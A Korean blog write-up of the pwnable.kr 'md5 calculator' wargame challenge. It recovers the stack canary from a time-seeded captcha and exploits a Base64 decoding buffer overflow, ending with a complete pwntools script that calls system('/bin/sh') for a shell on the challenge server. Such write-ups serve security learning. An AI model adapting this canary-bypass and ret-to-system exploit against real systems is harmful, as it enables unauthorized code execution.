본문 바로가기

Wargame/pwnable.kr

[BOF + Canary leak] md5 calculator

1. 문제

  • hash 바이너리 파일을 다운로드할 수 있는 링크가 주어진다.
  • nc로 접속할 수 있는 정보가 주어진다.

2. 환경 구축

  • libcrypto.so.1.0.0 라이브러리가 존재하지 않는 경우, 설치해줘야 프로그램을 실행할 수 있다.
//ubuntu환경에서 libcrypto.so.1.0.0 32bit 설치 명령어
sudo apt-get install libssl1.0.0:i386

3. 코드 분석

  • IDA를 이용하여, 분석하였다.

 

3-1. Input 1

  • captcha로 출력된 값과 똑같이 입력하면, 프로그램이 종료되지 않는다.
  • my_hash()라는 함수에서 return된 값이 captcha로 출력된다.

main함수의 일부 코드이다.

  • my_hash() 
    • rand함수를 통해, 구한 난수값을 8번 구하고 저장한다.
    • 구한 난수값과 카나리를 연산하여, return하는 것을 확인할 수 있다.
    • main함수에서 time(NULL)을 seed로 설정하였기 때문에, 바이너리 실행 시간만 알면 같은 난수값을 구할 수 있다.
      이를 통해 연산을 반대로 하여, Canary를 구할 수 있다.

v2의 자료형을 변경하면, 위와 같이 좀 더 쉽게 볼 수 있다.

 

3-2. Input 2

  • "Encode your data with Base64 then paste me!"라는 문구를 출력 후, process_hash()를 출력한다.

main함수의 일부 코드이다.

  • process_hash()
    • fgets함수를 통해, g_buf에 1024byte만큼 입력받아온다.
    • Base64Decode함수로 1024byte 크기인 g_buf와 512byte 크기인 buf를 인자로 넘겨준다.

 

  • g_buf는 0x400인 1024byte 크기로, 전역 변수에 위치한 것을 확인할 수 있다.

 

  • Base64Decode()
    • 입력받아온 g_buf에 저장된 data를 base64로 디코딩하는 코드이다.
    • 코드 17줄을 보면, BIO_read함수로 base64로 디코딩한 g_buf의 값을 buf에 넣어준다.
    • buf의 크기는 512byte인데 1024byte의 값을 넣어줌으로써, BOF가 발생한다.

 

  • main함수의 코드 24줄에서 system함수를 사용하여, log파일에 date를 작성한다.

4. 풀이

  • Canary
    • my_hash()에서 return 값 구하는 연산을 역연산하면, canary를 추출할 수 있다.
    • seed값이 time(NULL)이기 때문에, 바이너리 실행 시간만 알면 같은 난수값을 구할 수 있다. C언어와 python은 난수 발생하는 것이 다르기 때문에, ctypes모듈을 이용하여 C언어와 같게 seed를 설정해야 한다.
    • 바이너리는 32bit 파일이므로, Canary는 4byte이다.
      이를 위해, 역연산한 값을 0xfffffffff로 AND 연산해줘서 4byte 초과를 방지한다.
from ctypes import *
from ctypes.util import find_library

c = CDLL(find_library('c')) 
c.srand(c.time(0))

v = list()
for i in range(0, 8):
    v.append(c.random())

canary = (int(captcha) - v[4] + v[6] - v[7] - v[2] + v[3] - v[1] - v[5] ) & 0xffffffff

 

  • BOF
    • Base64Decode()에서  발생하는 BOF를 이용하여, shell을 획득할 수 있다.
    • main함수에 정의되어 있는 system함수를 호출하고, 인자값인 /bin/sh는 .bss에 저장하여, shell을 획득한다.
    • bss의 끝부분에 /bin/sh를 저장하기 위해, 해당 주소를 가리켜야 한다. 
      이를 위해, payload 마지막 줄에서 bss_addr + len(base64.b64encode(payload)) + 4를 해준 것이다.
system_plt = 0x8048880 
bss_addr = 0x0804b0e0   

payload  = b"A" * 0x200
payload += p32(canary)
payload += b"B" * 0xc  #dummy
payload += p32(system_plt)
payload += b"C" * 0x4
payload += p32(bss_addr + len(base64.b64encode(payload)) + 4)

recv_data = p.recvuntil(b"me!\n")
payload2 = base64.b64encode(payload)
p.sendline(payload2 +  b"/bin/sh\x00")

5. Exploit

from pwn import *
from ctypes import *
from ctypes.util import find_library
import base64

c = CDLL(find_library('c'))
c.srand(c.time(0))

#p = process(b"./hash")
p = remote(b"pwnable.kr", 9002)
e = ELF(b"./hash")

system_plt = 0x8048880 
bss_addr = 0x0804b0e0   

p.recvuntil(b"captcha : ")
captcha = p.recvline()[:-1]
p.sendline(captcha)
log.info("Captcha : %d", int(captcha))

v = list()
for i in range(0, 8):
    v.append(c.random())

canary = (int(captcha) - v[4] + v[6] - v[7] - v[2] + v[3] - v[1] - v[5] ) & 0xffffffff 
print("Canary : ", hex(canary))

payload  = b"A" * 0x200
payload += p32(canary)
payload += b"B" * 0xc  #dummy
payload += p32(system_plt)
payload += b"C" * 0x4
payload += p32(bss_addr + len(base64.b64encode(payload)) + 4)

recv_data = p.recvuntil(b"me!\n")
payload2 = base64.b64encode(payload)
p.sendline(payload2 +  b"/bin/sh\x00")
p.interactive()

'Wargame > pwnable.kr' 카테고리의 다른 글

[stack unlimited, control esp] fix  (0) 2022.08.09
[Fake EBP] simple login  (0) 2022.08.05
[BOF] echo1  (0) 2022.07.24